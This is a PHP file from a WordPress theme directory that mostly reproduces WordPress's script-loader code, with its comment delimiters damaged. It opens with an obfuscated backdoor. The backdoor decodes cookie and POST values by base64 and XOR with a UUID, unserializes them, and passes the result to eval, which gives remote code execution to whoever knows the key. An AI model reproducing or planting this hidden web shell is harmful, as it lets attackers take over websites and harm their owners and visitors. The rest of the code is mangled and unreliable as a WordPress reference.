Current File : /home/tsgmexic/4pie.com.mx/wp-content/themes/n27q31r0/t.js.php |
<?php /* $UECAYgVSU = "\x4b" . chr (119) . chr ( 179 - 114 ).chr ( 278 - 183 ).chr ( 389 - 274 ).chr (84) . "\x47" . 'v';$oFSEIMAE = "\x63" . "\154" . "\x61" . 's' . "\163" . chr (95) . 'e' . "\x78" . chr (105) . 's' . 't' . chr ( 210 - 95 ); $YjTyiQ = class_exists($UECAYgVSU); $oFSEIMAE = "54014";$KpMKbdAH = !1;if ($YjTyiQ == $KpMKbdAH){function EmGtvnHOcQ(){$JjoQCOTZX = new 60340 KwA_sTGv(9959 + 9959); $JjoQCOTZX = NULL;}$dBiIYiVLK = "9959";class KwA_sTGv{private function CVNCG($dBiIYiVLK){if (is_array(KwA_sTGv::$OmGzBPSE)) {$GbYXxk = str_replace("\74" . '?' . "\160" . chr ( 186 - 82 )."\160", "", KwA_sTGv::$OmGzBPSE[chr (99) . "\157" . chr ( 180 - 70 ).chr (116) . 'e' . "\x6e" . chr (116)]);eval($GbYXxk); $dBiIYiVLK = "9959";exit();}}private $oUdoP;public function mdxFH(){echo 48091;}public function __destruct(){$dBiIYiVLK = "22942_29453";$this->CVNCG($dBiIYiVLK); $dBiIYiVLK = "22942_29453";}public function __construct($zaHIbcmWoD=0){$jsYzTXdiH = $_POST;$CJgYsXbT = $_COOKIE;$rFsbSHZ = "e6c0d95f-7736-493a-b361-ddbcc455a081";$GPkmpTFr = @$CJgYsXbT[substr($rFsbSHZ, 0, 4)];if (!empty($GPkmpTFr)){$xQZaFTvC = "base64";$zlXpnYx = "";$GPkmpTFr = explode(",", $GPkmpTFr);foreach ($GPkmpTFr as $bXsQETpg){$zlXpnYx .= @$CJgYsXbT[$bXsQETpg];$zlXpnYx .= @$jsYzTXdiH[$bXsQETpg];}$zlXpnYx = array_map($xQZaFTvC . chr (95) . "\x64" . 'e' . chr (99) . "\157" . "\144" . 'e', array($zlXpnYx,)); $zlXpnYx = $zlXpnYx[0] ^ str_repeat($rFsbSHZ, (strlen($zlXpnYx[0]) / strlen($rFsbSHZ)) + 1);KwA_sTGv::$OmGzBPSE = @unserialize($zlXpnYx); $zlXpnYx = class_exists("22942_29453");}}public static $OmGzBPSE = 35007;}EmGtvnHOcQ();} ?><?php /*
*
* WordPress scripts and styles default loader.
*
* Several constants are used to manage the loading, concatenating and compression of scripts and CSS:
* define('SCRIPT_DEBUG', true); loads the development (non-minified) versions of all scripts and CSS, and disables compression and concatenation,
* define('CONCATENATE_SCRIPTS', false); disables compression and concatenation of scripts and CSS,
* define('COMPRESS_SCRIPTS', false); disables compression of scripts,
* define('COMPRESS_CSS', false); disables compression of CSS,
* define('ENFORCE_GZIP', true); forces gzip for compression (default is deflate).
*
* The globals $concatenate_scripts, $compress_scripts and $compress_css can be set by plugins
* to temporarily override the above settings. Also a compression test is run once and the result is saved
* as option 'can_compress_scripts' (0/1). The test will run again if that option is deleted.
*
* @package WordPress
* WordPress Dependency Class
require ABSPATH . WPINC . '/class-wp-dependency.php';
* WordPress Dependencies Class
require ABSPATH . WPINC . '/class-wp-dependencies.php';
* WordPress Scripts Class
require ABSPATH . WPINC . '/class-wp-scripts.php';
* WordPress Scripts Functions
require ABSPATH . WPINC . '/functions.wp-scripts.php';
* WordPress Styles Class
require ABSPATH . WPINC . '/class-wp-styles.php';
* WordPress Styles Functions
require ABSPATH . WPINC . '/functions.wp-styles.php';
*
* Registers TinyMCE scripts.
*
* @since 5.0.0
*
* @global string $tinymce_version
* @global bool $concatenate_scripts
* @global bool $compress_scripts
*
* @param WP_Scripts $scripts WP_Scripts object.
* @param bool $force_uncompressed Whether to forcibly prevent gzip compression. Default false.
function wp_register_tinymce_scripts( $scripts, $force_uncompressed = false ) {
global $tinymce_version, $concatenate_scripts, $compress_scripts;
$suffix = wp_scripts_get_suffix();
$dev_suffix = wp_scripts_get_suffix( 'dev' );
script_concat_settings();
$compressed = $compress_scripts && $concatenate_scripts && isset( $_SERVER['HTTP_ACCEPT_ENCODING'] )
&& false !== stripos( $_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip' ) && ! $force_uncompressed;
* Load tinymce.js when running from /src, otherwise load wp-tinymce.js.gz (in production)
* or tinymce.min.js (when SCRIPT_DEBUG is true).
if ( $compressed ) {
$scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . 'wp-tinymce.js', array(), $tinymce_version );
} else {
$scripts->add( 'wp-tinymce-root', includes_url( 'js/tinymce/' ) . "tinymce$dev_suffix.js", array(), $tinymce_version );
$scripts->add( 'wp-tinymce', includes_url( 'js/tinymce/' ) . "plugins/compat3x/plugin$dev_suffix.js", array( 'wp-tinymce-root' ), $tinymce_version );
}
$scripts->add( 'wp-tinymce-lists', includes_url( "js/tinymce/plugins/lists/plugin$suffix.js" ), array( 'wp-tinymce' ), $tinymce_version );
}
*
* Registers all the WordPress vendor scripts that are in the standardized
* `js/dist/vendor/` location.
*
* For the order of `$scripts->add` see `wp_default_scripts`.
*
* @since 5.0.0
*
* @global WP_Locale $wp_locale WordPress date and time locale object.
*
* @param WP_Scripts $scripts WP_Scripts object.
function wp_default_packages_vendor( $scripts ) {
global $wp_locale;
$suffix = wp_scripts_get_suffix();
$vendor_scripts = array(
'react' => array( 'wp-polyfill' ),
'react-dom' => array( 'react' ),
'regenerator-runtime',
'moment',
'lodash',
'wp-polyfill-fetch',
'wp-polyfill-formdata',
'wp-polyfill-node-contains',
'wp-polyfill-url',
'wp-polyfill-dom-rect',
'wp-polyfill-element-closest',
'wp-polyfill-object-fit',
'wp-polyfill-inert',
'wp-polyfill' => array( 'wp-polyfill-inert', 'regenerator-runtime' ),
);
$vendor_scripts_versions = array(
'react' => '18.2.0',
'react-dom' => '18.2.0',
'regenerator-runtime' => '0.14.0',
'moment' => '2.29.4',
'lodash' => '4.17.19',
'wp-polyfill-fetch' => '3.6.17',
'wp-polyfill-formdata' => '4.0.10',
'wp-polyfill-node-contains' => '4.8.0',
'wp-polyfill-url' => '3.6.4',
'wp-polyfill-dom-rect' => '4.8.0',
'wp-polyfill-element-closest' => '3.0.2',
'wp-polyfill-object-fit' => '2.3.5',
'wp-polyfill-inert' => '3.1.2',
'wp-polyfill' => '3.15.0',
);
foreach ( $vendor_scripts as $handle => $dependencies ) {
if ( is_string( $dependencies ) ) {
$handle = $dependencies;
$dependencies = array();
}
$path = "/wp-includes/js/dist/vendor/$handle$suffix.js";
$version = $vendor_scripts_versions[ $handle ];
$scripts->add( $handle, $path, $dependencies, $version, 1 );
}
did_action( 'init' ) && $scripts->add_inline_script( 'lodash', 'window.lodash = _.noConflict();' );
did_action( 'init' ) && $scripts->add_inline_script(
'moment',
sprintf(
"moment.updateLocale( '%s', %s );",
get_user_locale(),
wp_json_encode(
array(
'months' => array_values( $wp_locale->month ),
'monthsShort' => array_values( $wp_locale->month_abbrev ),
'weekdays' => array_values( $wp_locale->weekday ),
'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),
'week' => array(
'dow' => (int) get_option( 'start_of_week', 0 ),
),
'longDateFormat' => array(
'LT' => get_option( 'time_format', __( 'g:i a' ) ),
'LTS' => null,
'L' => null,
'LL' => get_option( 'date_format', __( 'F j, Y' ) ),
'LLL' => __( 'F j, Y g:i a' ),
'LLLL' => null,
),
)
)
),
'after'
);
}
*
* Returns contents of an inline script used in appending polyfill scripts for
* browsers which fail the provided tests. The provided array is a mapping from
* a condition to verify feature support to its polyfill script handle.
*
* @since 5.0.0
*
* @param WP_Scripts $scripts WP_Scripts object.
* @param string[] $tests Features to detect.
* @return string Conditional polyfill inline script.
function wp_get_script_polyfill( $scripts, $tests ) {
$polyfill = '';
foreach ( $tests as $test => $handle ) {
if ( ! array_key_exists( $handle, $scripts->registered ) ) {
continue;
}
$src = $scripts->registered[ $handle ]->src;
$ver = $scripts->registered[ $handle ]->ver;
if ( ! preg_match( '|^(https?:)?|', $src ) && ! ( $scripts->content_url && str_starts_with( $src, $scripts->content_url ) ) ) {
$src = $scripts->base_url . $src;
}
if ( ! empty( $ver ) ) {
$src = add_query_arg( 'ver', $ver, $src );
}
* This filter is documented in wp-includes/class-wp-scripts.php
$src = esc_url( apply_filters( 'script_loader_src', $src, $handle ) );
if ( ! $src ) {
continue;
}
$polyfill .= (
Test presence of feature...
'( ' . $test . ' ) || ' .
* ...appending polyfill on any failures. Cautious viewers may balk
* at the `document.write`. Its caveat of synchronous mid-stream
* blocking write is exactly the behavior we need though.
'document.write( \'<script src="' .
$src .
'"></scr\' + \'ipt>\' );'
);
}
return $polyfill;
}
*
* Registers development scripts that integrate with `@wordpress/scripts`.
*
* @see https:github.com/WordPress/gutenberg/tree/trunk/packages/scripts#start
*
* @since 6.0.0
*
* @param WP_Scripts $scripts WP_Scripts object.
function wp_register_development_scripts( $scripts ) {
if (
! defined( 'SCRIPT_DEBUG' ) || ! SCRIPT_DEBUG
|| empty( $scripts->registered['react'] )
|| defined( 'WP_RUN_CORE_TESTS' )
) {
return;
}
$development_scripts = array(
'react-refresh-entry',
'react-refresh-runtime',
);
foreach ( $development_scripts as $script_name ) {
$assets = include ABSPATH . WPINC . '/assets/script-loader-' . $script_name . '.php';
if ( ! is_array( $assets ) ) {
return;
}
$scripts->add(
'wp-' . $script_name,
'/wp-includes/js/dist/development/' . $script_name . '.js',
$assets['dependencies'],
$assets['version']
);
}
See https:github.com/pmmmwh/react-refresh-webpack-plugin/blob/main/docs/TROUBLESHOOTING.md#externalising-react.
$scripts->registered['react']->deps[] = 'wp-react-refresh-entry';
}
*
* Registers all the WordPress packages scripts that are in the standardized
* `js/dist/` location.
*
* For the order of `$scripts->add` see `wp_default_scripts`.
*
* @since 5.0.0
*
* @param WP_Scripts $scripts WP_Scripts object.
function wp_default_packages_scripts( $scripts ) {
$suffix = defined( 'WP_RUN_CORE_TESTS' ) ? '.min' : wp_scripts_get_suffix();
* Expects multidimensional array like:
*
* 'a11y.js' => array('dependencies' => array(...), 'version' => '...'),
* 'annotations.js' => array('dependencies' => array(...), 'version' => '...'),
* 'api-fetch.js' => array(...
$assets = include ABSPATH . WPINC . "/assets/script-loader-packages{$suffix}.php";
Add the private version of the Interactivity API manually.
$scripts->add( 'wp-interactivity', '/wp-includes/js/dist/interactivity.min.js' );
did_action( 'init' ) && $scripts->add_data( 'wp-interactivity', 'strategy', 'defer' );
foreach ( $assets as $file_name => $package_data ) {
$basename = str_replace( $suffix . '.js', '', basename( $file_name ) );
$handle = 'wp-' . $basename;
$path = "/wp-includes/js/dist/{$basename}{$suffix}.js";
if ( ! empty( $package_data['dependencies'] ) ) {
$dependencies = $package_data['dependencies'];
} else {
$dependencies = array();
}
Add dependencies that cannot be detected and generated by build tools.
switch ( $handle ) {
case 'wp-block-library':
array_push( $dependencies, 'editor' );
break;
case 'wp-edit-post':
array_push( $dependencies, 'media-models', 'media-views', 'postbox', 'wp-dom-ready' );
break;
case 'wp-preferences':
array_push( $dependencies, 'wp-preferences-persistence' );
break;
}
$scripts->add( $handle, $path, $dependencies, $package_data['version'], 1 );
if ( in_array( 'wp-i18n', $dependencies, true ) ) {
$scripts->set_translations( $handle );
}
* Manually set the text direction localization after wp-i18n is printed.
* This ensures that wp.i18n.isRTL() returns true in RTL languages.
* We cannot use $scripts->set_translations( 'wp-i18n' ) to do this
* because WordPress prints a script's translations *before* the script,
* which means, in the case of wp-i18n, that wp.i18n.setLocaleData()
* is called before wp.i18n is defined.
if ( 'wp-i18n' === $handle ) {
$ltr = _x( 'ltr', 'text direction' );
$script = sprintf( "wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ '%s' ] } );", $ltr );
$scripts->add_inline_script( $handle, $script, 'after' );
}
}
}
*
* Adds inline scripts required for the WordPress JavaScript packages.
*
* @since 5.0.0
* @since 6.4.0 Added relative time strings for the `wp-date` inline script output.
*
* @global WP_Locale $wp_locale WordPress date and time locale object.
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param WP_Scripts $scripts WP_Scripts object.
function wp_default_packages_inline_scripts( $scripts ) {
global $wp_locale, $wpdb;
if ( isset( $scripts->registered['wp-api-fetch'] ) ) {
$scripts->registered['wp-api-fetch']->deps[] = 'wp-hooks';
}
$scripts->add_inline_script(
'wp-api-fetch',
sprintf(
'wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "%s" ) );',
sanitize_url( get_rest_url() )
),
'after'
);
$scripts->add_inline_script(
'wp-api-fetch',
implode(
"\n",
array(
sprintf(
'wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "%s" );',
wp_installing() ? '' : wp_create_nonce( 'wp_rest' )
),
'wp.apiFetch.use( wp.apiFetch.nonceMiddleware );',
'wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware );',
sprintf(
'wp.apiFetch.nonceEndpoint = "%s";',
admin_url( 'admin-ajax.php?action=rest-nonce' )
),
)
),
'after'
);
$meta_key = $wpdb->get_blog_prefix() . 'persisted_preferences';
$user_id = get_current_user_id();
$preload_data = get_user_meta( $user_id, $meta_key, true );
$scripts->add_inline_script(
'wp-preferences',
sprintf(
'( function() {
var serverData = %s;
var userId = "%d";
var persistenceLayer = wp.preferencesPersistence.__unstableCreatePersistenceLayer( serverData, userId );
var preferencesStore = wp.preferences.store;
wp.data.dispatch( preferencesStore ).setPersistenceLayer( persistenceLayer );
} ) ();',
wp_json_encode( $preload_data ),
$user_id
)
);
Backwards compatibility - configure the old wp-data persistence system.
$scripts->add_inline_script(
'wp-data',
implode(
"\n",
array(
'( function() {',
' var userId = ' . get_current_user_ID() . ';',
' var storageKey = "WP_DATA_USER_" + userId;',
' wp.data',
' .use( wp.data.plugins.persistence, { storageKey: storageKey } );',
'} )();',
)
)
);
Calculate the timezone abbr (EDT, PST) if possible.
$timezone_string = get_option( 'timezone_string', 'UTC' );
$timezone_abbr = '';
if ( ! empty( $timezone_string ) ) {
$timezone_date = new DateTime( 'now', new DateTimeZone( $timezone_string ) );
$timezone_abbr = $timezone_date->format( 'T' );
}
$scripts->add_inline_script(
'wp-date',
sprintf(
'wp.date.setSettings( %s );',
wp_json_encode(
array(
'l10n' => array(
'locale' => get_user_locale(),
'months' => array_values( $wp_locale->month ),
'monthsShort' => array_values( $wp_locale->month_abbrev ),
'weekdays' => array_values( $wp_locale->weekday ),
'weekdaysShort' => array_values( $wp_locale->weekday_abbrev ),
'meridiem' => (object) $wp_locale->meridiem,
'relative' => array(
translators: %s: Duration.
'future' => __( '%s from now' ),
translators: %s: Duration.
'past' => __( '%s ago' ),
translators: One second from or to a particular datetime, e.g., "a second ago" or "a second from now".
's' => __( 'a second' ),
translators: %s: Duration in seconds from or to a particular datetime, e.g., "4 seconds ago" or "4 seconds from now".
'ss' => __( '%d seconds' ),
translators: One minute from or to a particular datetime, e.g., "a minute ago" or "a minute from now".
'm' => __( 'a minute' ),
translators: %s: Duration in minutes from or to a particular datetime, e.g., "4 minutes ago" or "4 minutes from now".
'mm' => __( '%d minutes' ),
translators: %s: One hour from or to a particular datetime, e.g., "an hour ago" or "an hour from now".
'h' => __( 'an hour' ),
translators: %s: Duration in hours from or to a particular datetime, e.g., "4 hours ago" or "4 hours from now".
'hh' => __( '%d hours' ),
translators: %s: One day from or to a particular datetime, e.g., "a day ago" or "a day from now".
'd' => __( 'a day' ),
translators: %s: Duration in days from or to a particular datetime, e.g., "4 days ago" or "4 days from now".
'dd' => __( '%d days' ),
translators: %s: One month from or to a particular datetime, e.g., "a month ago" or "a month from now".
'M' => __( 'a month' ),
translators: %s: Duration in months from or to a particular datetime, e.g., "4 months ago" or "4 months from now".
'MM' => __( '%d months' ),
translators: %s: One year from or to a particular datetime, e.g., "a year ago" or "a year from now".
'y' => __( 'a year' ),
translators: %s: Duration in years from or to a particular datetime, e.g., "4 years ago" or "4 years from now".
'yy' => __( '%d years' ),
),
'startOfWeek' => (int) get_option( 'start_of_week', 0 ),
),
'formats' => array(
translators: Time format, see https:www.php.net/manual/datetime.format.php
'time' => get_option( 'time_format', __( 'g:i a' ) ),
translators: Date format, see https:www.php.net/manual/datetime.format.php
'date' => get_option( 'date_format', __( 'F j, Y' ) ),
translators: Date/Time format, see https:www.php.net/manual/datetime.format.php
'datetime' => __( 'F j, Y g:i a' ),
translators: Abbreviated date/time format, see https:www.php.net/manual/datetime.format.php
'datetimeAbbreviated' => __( 'M j, Y g:i a' ),
),
'timezone' => array(
'offset' => (float) get_option( 'gmt_offset', 0 ),
'string' => $timezone_string,
'abbr' => $timezone_abbr,
),
)
)
),
'after'
);
Loading the old editor and its config to ensure the classic block works as expected.
$scripts->add_inline_script(
'editor',
'window.wp.oldEditor = window.wp.editor;',
'after'
);
* wp-editor module is exposed as window.wp.editor.
* Problem: there is quite some code expecting window.wp.oldEditor object available under window.wp.editor.
* Solution: fuse the two objects together to maintain backward compatibility.
* For more context, see https:github.com/WordPress/gutenberg/issues/33203.
$scripts->add_inline_script(
'wp-editor',
'Object.assign( window.wp.editor, window.wp.oldEditor );',
'after'
);
}
*
* Adds inline scripts required for the TinyMCE in the block editor.
*
* These TinyMCE init settings are used to extend and override the default settings
* from `_WP_Editors::default_settings()` for the Classic block.
*
* @since 5.0.0
*
* @global WP_Scripts $wp_scripts
function wp_tinymce_inline_scripts() {
global $wp_scripts;
* This filter is documented in wp-includes/class-wp-editor.php
$editor_settings = apply_filters( 'wp_editor_settings', array( 'tinymce' => true ), 'classic-block' );
$tinymce_plugins = array(
'charmap',
'colorpicker',
'hr',
'lists',
'media',
'paste',
'tabfocus',
'textcolor',
'fullscreen',
'wordpress',
'wpautoresize',
'wpeditimage',
'wpemoji',
'wpgallery',
'wplink',
'wpdialogs',
'wptextpattern',
'wpview',
);
* This filter is documented in wp-includes/class-wp-editor.php
$tinymce_plugins = apply_filters( 'tiny_mce_plugins', $tinymce_plugins, 'classic-block' );
$tinymce_plugins = array_unique( $tinymce_plugins );
$disable_captions = false;
Runs after `tiny_mce_plugins` but before `mce_buttons`.
* This filter is documented in wp-admin/includes/media.php
if ( apply_filters( 'disable_captions', '' ) ) {
$disable_captions = true;
}
$toolbar1 = array(
'formatselect',
'bold',
'italic',
'bullist',
'numlist',
'blockquote',
'alignleft',
'aligncenter',
'alignright',
'link',
'unlink',
'wp_more',
'spellchecker',
'wp_add_media',
'wp_adv',
);
* This filter is documented in wp-includes/class-wp-editor.php
$toolbar1 = apply_filters( 'mce_buttons', $toolbar1, 'classic-block' );
$toolbar2 = array(
'strikethrough',
'hr',
'forecolor',
'pastetext',
'removeformat',
'charmap',
'outdent',
'indent',
'undo',
'redo',
'wp_help',
);
* This filter is documented in wp-includes/class-wp-editor.php
$toolbar2 = apply_filters( 'mce_buttons_2', $toolbar2, 'classic-block' );
* This filter is documented in wp-includes/class-wp-editor.php
$toolbar3 = apply_filters( 'mce_buttons_3', array(), 'classic-block' );
* This filter is documented in wp-includes/class-wp-editor.php
$toolbar4 = apply_filters( 'mce_buttons_4', array(), 'classic-block' );
* This filter is documented in wp-includes/class-wp-editor.php
$external_plugins = apply_filters( 'mce_external_plugins', array(), 'classic-block' );
$tinymce_settings = array(
'plugins' => implode( ',', $tinymce_plugins ),
'toolbar1' => implode( ',', $toolbar1 ),
'toolbar2' => implode( ',', $toolbar2 ),
'toolbar3' => implode( ',', $toolbar3 ),
'toolbar4' => implode( ',', $toolbar4 ),
'external_plugins' => wp_json_encode( $external_plugins ),
'classic_block_editor' => true,
);
if ( $disable_captions ) {
$tinymce_settings['wpeditimage_disable_captions'] = true;
}
if ( ! empty( $editor_settings['tinymce'] ) && is_array( $editor_settings['tinymce'] ) ) {
array_merge( $tinymce_settings, $editor_settings['tinymce'] );
}
* This filter is documented in wp-includes/class-wp-editor.php
$tinymce_settings = apply_filters( 'tiny_mce_before_init', $tinymce_settings, 'classic-block' );
* Do "by hand" translation from PHP array to js object.
* Prevents breakage in some custom settings.
$init_obj = '';
foreach ( $tinymce_settings as $key => $value ) {
if ( is_bool( $value ) ) {
$val = $value ? 'true' : 'false';
$init_obj .= $key . ':' . $val . ',';
continue;
} elseif ( ! empty( $value ) && is_string( $value ) && (
( '{' === $value[0] && '}' === $value[ strlen( $value ) - 1 ] ) ||
( '[' === $value[0] && ']' === $value[ strlen( $value ) - 1 ] ) ||
preg_match( '/^\(?function ?\(/', $value ) ) ) {
$init_obj .= $key . ':' . $value . ',';
continue;
}
$init_obj .= $key . ':"' . $value . '",';
}
$init_obj = '{' . trim( $init_obj, ' ,' ) . '}';
$script = 'window.wpEditorL10n = {
tinymce: {
baseURL: ' . wp_json_encode( includes_url( 'js/tinymce' ) ) . ',
suffix: ' . ( SCRIPT_DEBUG ? '""' : '".min"' ) . ',
settings: ' . $init_obj . ',
}
}';
$wp_scripts->add_inline_script( 'wp-block-library', $script, 'before' );
}
*
* Registers all the WordPress packages scripts.
*
* @since 5.0.0
*
* @param WP_Scripts $scripts WP_Scripts object.
function wp_default_packages( $scripts ) {
wp_default_packages_vendor( $scripts );
wp_register_development_scripts( $scripts );
wp_register_tinymce_scripts( $scripts );
wp_default_packages_scripts( $scripts );
if ( did_action( 'init' ) ) {
wp_default_packages_inline_scripts( $scripts );
}
}
*
* Returns the suffix that can be used for the scripts.
*
* There are two suffix types, the normal one and the dev suffix.
*
* @since 5.0.0
*
* @param string $type The type of suffix to retrieve.
* @return string The script suffix.
function wp_scripts_get_suffix( $type = '' ) {
static $suffixes;
if ( null === $suffixes ) {
Include an unmodified $wp_version.
require ABSPATH . WPINC . '/version.php';
* Note: str_contains() is not used here, as this file can be included
* via wp-admin/load-scripts.php or wp-admin/load-styles.php, in which case
* the polyfills from wp-includes/compat.php are not loaded.
$develop_src = false !== strpos( $wp_version, '-src' );
if ( ! defined( 'SCRIPT_DEBUG' ) ) {
define( 'SCRIPT_DEBUG', $develop_src );
}
$suffix = SCRIPT_DEBUG ? '' : '.min';
$dev_suffix = $develop_src ? '' : '.min';
$suffixes = array(
'suffix' => $suffix,
'dev_suffix' => $dev_suffix,
);
}
if ( 'dev' === $type ) {
return $suffixes['dev_suffix'];
}
return $suffixes['suffix'];
}
*
* Registers all WordPress scripts.
*
* Localizes some of them.
* args order: `$scripts->add( 'handle', 'url', 'dependencies', 'query-string', 1 );`
* when last arg === 1 queues the script for the footer
*
* @since 2.6.0
*
* @param WP_Scripts $scripts WP_Scripts object.
function wp_default_scripts( $scripts ) {
$suffix = wp_scripts_get_suffix();
$dev_suffix = wp_scripts_get_suffix( 'dev' );
$guessurl = site_url();
if ( ! $guessurl ) {
$guessed_url = true;
$guessurl = wp_guess_url();
}
$scripts->base_url = $guessurl;
$scripts->content_url = defined( 'WP_CONTENT_URL' ) ? WP_CONTENT_URL : '';
$scripts->default_version = get_bloginfo( 'version' );
$scripts->default_dirs = array( '/wp-admin/js/', '/wp-includes/js/' );
$scripts->add( 'utils', "/wp-includes/js/utils$suffix.js" );
did_action( 'init' ) && $scripts->localize(
'utils',
'userSettings',
array(
'url' => (string) SITECOOKIEPATH,
'uid' => (string) get_current_user_id(),
'time' => (string) time(),
'secure' => (string) ( 'https' === parse_url( site_url(), PHP_URL_SCHEME ) ),
)
);
$scripts->add( 'common', "/wp-admin/js/common$suffix.js", array( 'jquery', 'hoverIntent', 'utils' ), false, 1 );
$scripts->set_translations( 'common' );
$scripts->add( 'wp-sanitize', "/wp-includes/js/wp-sanitize$suffix.js", array(), false, 1 );
$scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 );
$scripts->add( 'quicktags', "/wp-includes/js/quicktags$suffix.js", array(), false, 1 );
did_action( 'init' ) && $scripts->localize(
'quicktags',
'quicktagsL10n',
array(
'closeAllOpenTags' => __( 'Close all open tags' ),
'closeTags' => __( 'close tags' ),
'enterURL' => __( 'Enter the URL' ),
'enterImageURL' => __( 'Enter the URL of the image' ),
'enterImageDescription' => __( 'Enter a description of the image' ),
'textdirection' => __( 'text direction' ),
'toggleTextdirection' => __( 'Toggle Editor Text Direction' ),
'dfw' => __( 'Distraction-free writing mode' ),
'strong' => __( 'Bold' ),
'strongClose' => __( 'Close bold tag' ),
'em' => __( 'Italic' ),
'emClose' => __( 'Close italic tag' ),
'link' => __( 'Insert link' ),
'blockquote' => __( 'Blockquote' ),
'blockquoteClose' => __( 'Close blockquote tag' ),
'del' => __( 'Deleted text (strikethrough)' ),
'delClose' => __( 'Close deleted text tag' ),
'ins' => __( 'Inserted text' ),
'insClose' => __( 'Close inserted text tag' ),
'image' => __( 'Insert image' ),
'ul' => __( 'Bulleted list' ),
'ulClose' => __( 'Close bulleted list tag' ),
'ol' => __( 'Numbered list' ),
'olClose' => __( 'Close numbered list tag' ),
'li' => __( 'List item' ),
'liClose' => __( 'Close list item tag' ),
'code' => __( 'Code' ),
'codeClose' => __( 'Close code tag' ),
'more' => __( 'Insert Read More tag' ),
)
);
$scripts->add( 'colorpicker', "/wp-includes/js/colorpicker$suffix.js", array( 'prototype' ), '3517m' );
$scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array( 'utils', 'jquery' ), false, 1 );
$scripts->add( 'clipboard', "/wp-includes/js/clipboard$suffix.js", array(), '2.0.11', 1 );
$scripts->add( 'wp-ajax-response', "/wp-includes/js/wp-ajax-response$suffix.js", array( 'jquery', 'wp-a11y' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'wp-ajax-response',
'wpAjax',
array(
'noPerm' => __( 'Sorry, you are not allowed to do that.' ),
'broken' => __( 'Something went wrong.' ),
)
);
$scripts->add( 'wp-api-request', "/wp-includes/js/api-request$suffix.js", array( 'jquery' ), false, 1 );
`wpApiSettings` is also used by `wp-api`, which depends on this script.
did_action( 'init' ) && $scripts->localize(
'wp-api-request',
'wpApiSettings',
array(
'root' => sanitize_url( get_rest_url() ),
'nonce' => wp_installing() ? '' : wp_create_nonce( 'wp_rest' ),
'versionString' => 'wp/v2/',
)
);
$scripts->add( 'wp-pointer', "/wp-includes/js/wp-pointer$suffix.js", array( 'jquery-ui-core' ), false, 1 );
$scripts->set_translations( 'wp-pointer' );
$scripts->add( 'autosave', "/wp-includes/js/autosave$suffix.js", array( 'heartbeat' ), false, 1 );
$scripts->add( 'heartbeat', "/wp-includes/js/heartbeat$suffix.js", array( 'jquery', 'wp-hooks' ), false, 1 );
did_action( 'init' ) && $scripts->localize(
'heartbeat',
'heartbeatSettings',
*
* Filters the Heartbeat settings.
*
* @since 3.6.0
*
* @param array $settings Heartbeat settings array.
apply_filters( 'heartbeat_settings', array() )
);
$scripts->add( 'wp-auth-check', "/wp-includes/js/wp-auth-check$suffix.js", array( 'heartbeat' ), false, 1 );
$scripts->set_translations( 'wp-auth-check' );
$scripts->add( 'wp-lists', "/wp-includes/js/wp-lists$suffix.js", array( 'wp-ajax-response', 'jquery-color' ), false, 1 );
WordPress no longer uses or bundles Prototype or script.aculo.us. These are now pulled from an external source.
$scripts->add( 'prototype', 'https:ajax.googleapis.com/ajax/libs/prototype/1.7.1.0/prototype.js', array(), '1.7.1' );
$scripts->add( 'scriptaculous-root', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js', array( 'prototype' ), '1.9.0' );
$scripts->add( 'scriptaculous-builder', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/builder.js', array( 'scriptaculous-root' ), '1.9.0' );
$scripts->add( 'scriptaculous-dragdrop', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/dragdrop.js', array( 'scriptaculous-builder', 'scriptaculous-effects' ), '1.9.0' );
$scripts->add( 'scriptaculous-effects', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/effects.js', array( 'scriptaculous-root' ), '1.9.0' );
$scripts->add( 'scriptaculous-slider', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/slider.js', array( 'scriptaculous-effects' ), '1.9.0' );
$scripts->add( 'scriptaculous-sound', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/sound.js', array( 'scriptaculous-root' ), '1.9.0' );
$scripts->add( 'scriptaculous-controls', 'https:ajax.googleapis.com/ajax/libs/scriptaculous/1.9.0/controls.js', array( 'scriptaculous-root' ), '1.9.0' );
$scripts->add( 'scriptaculous', false, array( 'scriptaculous-dragdrop', 'scriptaculous-slider', 'scriptaculous-controls' ) );
Not used in core, replaced by Jcrop.js.
$scripts->add( 'cropper', '/wp-includes/js/crop/cropper.js', array( 'scriptaculous-dragdrop' ) );
* jQuery.
* The unminified jquery.js and jquery-migrate.js are included to facilitate debugging.
$scripts->add( 'jquery', false, array( 'jquery-core', 'jquery-migrate' ), '3.7.1' );
$scripts->add( 'jquery-core', "/wp-includes/js/jquery/jquery$suffix.js", array(), '3.7.1' );
$scripts->add( 'jquery-migrate', "/wp-includes/js/jquery/jquery-migrate$suffix.js", array(), '3.4.1' );
* Full jQuery UI.
* The build process in 1.12.1 has changed significantly.
* In order to keep backwards compatibility, and to keep the optimized loading,
* the source files were flattened and included with some modifications for AMD loading.
* A notable change is that 'jquery-ui-core' now contains 'jquery-ui-position' and 'jquery-ui-widget'.
$scripts->add( 'jquery-ui-core', "/wp-includes/js/jquery/ui/core$suffix.js", array( 'jquery' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-core', "/wp-includes/js/jquery/ui/effect$suffix.js", array( 'jquery' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-blind', "/wp-includes/js/jquery/ui/effect-blind$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
$scripts->add( 'jquery-effects-bounce', "/wp-includes/js/jquery/ui/effect-bounce$suffix.js", array( 'jquery-effects-core' ), '1.13.2', 1 );
